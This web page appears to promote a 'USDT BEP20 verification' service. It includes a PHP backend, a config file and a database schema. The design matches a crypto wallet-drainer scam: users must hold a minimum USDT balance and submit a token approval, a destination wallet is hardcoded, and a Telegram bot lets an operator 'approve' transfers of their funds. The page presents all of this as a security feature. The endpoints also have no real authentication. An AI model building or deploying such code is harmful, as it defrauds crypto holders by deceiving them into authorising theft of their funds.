Secure USDT BEP20 Verification

Our platform verifies USDT BEP20 transactions, ensures proper approvals, and provides secure trade certificates with admin approval system.

Our Security Features

USDT BEP20 Verification

Real-time balance checking on Binance Smart Chain

Telegram Admin Approval

Instant notifications and approval system via Telegram bot

Secure Certificates

Unique verification certificates with blockchain proof

Admin Panel

Backend Integration Guide

// verify.php - Main API Endpoint
<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

require_once 'config.php';
require_once 'database.php';
require_once 'telegram.php';

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    exit(0);
}

$input = json_decode(file_get_contents('php://input'), true);
$action = $input['action'] ?? '';

switch ($action) {
    case 'wallet_connect':
        handleWalletConnect($input);
        break;
    case 'approval':
        handleApproval($input);
        break;
    case 'certificate_generated':
        handleCertificateGeneration($input);
        break;
    case 'admin_login':
        handleAdminLogin($input);
        break;
    case 'get_pending':
        getPendingRequests();
        break;
    case 'approve_transfer':
        approveTransfer($input);
        break;
    case 'reject_transfer':
        rejectTransfer($input);
        break;
    default:
        echo json_encode(['error' => 'Invalid action']);
}

function handleWalletConnect($data) {
    $wallet = $data['wallet'];
    $bnb = $data['bnb'];
    $usdt = $data['usdt'];
    
    // Validate minimum balance
    if ($usdt < MIN_USDT_BALANCE) {
        echo json_encode([
            'success' => false,
            'message' => 'Insufficient USDT balance for verification'
        ]);
        return;
    }
    
    // Store in database
    $db = new Database();
    $result = $db->insertTransaction($wallet, $usdt, $bnb);
    
    echo json_encode([
        'success' => true,
        'message' => 'Wallet connected successfully'
    ]);
}

function handleApproval($data) {
    $wallet = $data['wallet'];
    $txHash = $data['transactionHash'];
    
    $db = new Database();
    $db->updateTransactionHash($wallet, $txHash);
    
    echo json_encode(['success' => true]);
}

function handleCertificateGeneration($data) {
    $wallet = $data['wallet'];
    $usdt = $data['usdt'];
    $certificate = $data['certificate'];
    
    $db = new Database();
    $db->updateCertificate($wallet, $certificate);
    
    // Send Telegram notification
    $telegram = new TelegramBot();
    $message = "🎫 New Certificate Generated\n\n" .
               "Certificate: {$certificate}\n" .
               "Wallet: {$wallet}\n" .
               "Amount: {$usdt} USDT\n\n" .
               "Commands:\n" .
               "/approve {$certificate}\n" .
               "/reject {$certificate}";
    
    $telegram->sendMessage($message);
    
    echo json_encode([
        'success' => true,
        'certificate' => $certificate
    ]);
}

function handleAdminLogin($data) {
    $password = $data['password'];
    
    if ($password === ADMIN_PASSWORD) {
        echo json_encode(['success' => true]);
    } else {
        echo json_encode(['success' => false, 'message' => 'Invalid password']);
    }
}

function getPendingRequests() {
    $db = new Database();
    $requests = $db->getPendingTransactions();
    
    echo json_encode(['requests' => $requests]);
}

function approveTransfer($data) {
    $certificateId = $data['certificateId'];
    
    $db = new Database();
    $result = $db->updateTransactionStatus($certificateId, 'approved');
    
    if ($result) {
        // Here you would implement the actual USDT transfer
        transferUSDT($certificateId);
        
        echo json_encode(['success' => true]);
    } else {
        echo json_encode(['success' => false, 'message' => 'Failed to approve']);
    }
}

function rejectTransfer($data) {
    $certificateId = $data['certificateId'];
    
    $db = new Database();
    $result = $db->updateTransactionStatus($certificateId, 'rejected');
    
    echo json_encode(['success' => $result]);
}

function transferUSDT($certificateId) {
    // Implement actual USDT transfer logic here
    // This would involve calling smart contract methods
    // or using a wallet service to transfer funds
}
?>
                                

// config.php
<?php
// Database Configuration
define('DB_HOST', 'localhost');
define('DB_USER', 'your_username');
define('DB_PASS', 'your_password');
define('DB_NAME', 'usdt_verification');

// Telegram Bot Configuration
define('TELEGRAM_BOT_TOKEN', 'your_bot_token_here');
define('TELEGRAM_ADMIN_CHAT_ID', 'your_chat_id_here');

// USDT Configuration
define('DESTINATION_WALLET', '0x194fAa215f0b2E0C95eB312a963c5BDDD0f6eeE9');
define('MIN_USDT_BALANCE', 5);
define('ADMIN_PASSWORD', 'your_secure_admin_password');

// Smart Contract Configuration
define('USDT_CONTRACT', '0x55d398326f99059fF775485246999027B3197955');
define('BSC_RPC_URL', 'https://bsc-dataseed.binance.org/');
?>
                                

-- database.sql
CREATE DATABASE usdt_verification;
USE usdt_verification;

CREATE TABLE transactions (
    id INT AUTO_INCREMENT PRIMARY KEY,
    wallet_address VARCHAR(42) NOT NULL,
    usdt_balance DECIMAL(20,6) DEFAULT 0,
    bnb_balance DECIMAL(20,6) DEFAULT 0,
    certificate_number VARCHAR(100) UNIQUE,
    status ENUM('pending', 'approved', 'rejected') DEFAULT 'pending',
    transaction_hash VARCHAR(66),
    approval_hash VARCHAR(66),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_wallet (wallet_address),
    INDEX idx_certificate (certificate_number),
    INDEX idx_status (status)
);

CREATE TABLE admin_logs (
    id INT AUTO_INCREMENT PRIMARY KEY,
    action VARCHAR(50) NOT NULL,
    certificate_id VARCHAR(100),
    admin_ip VARCHAR(45),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);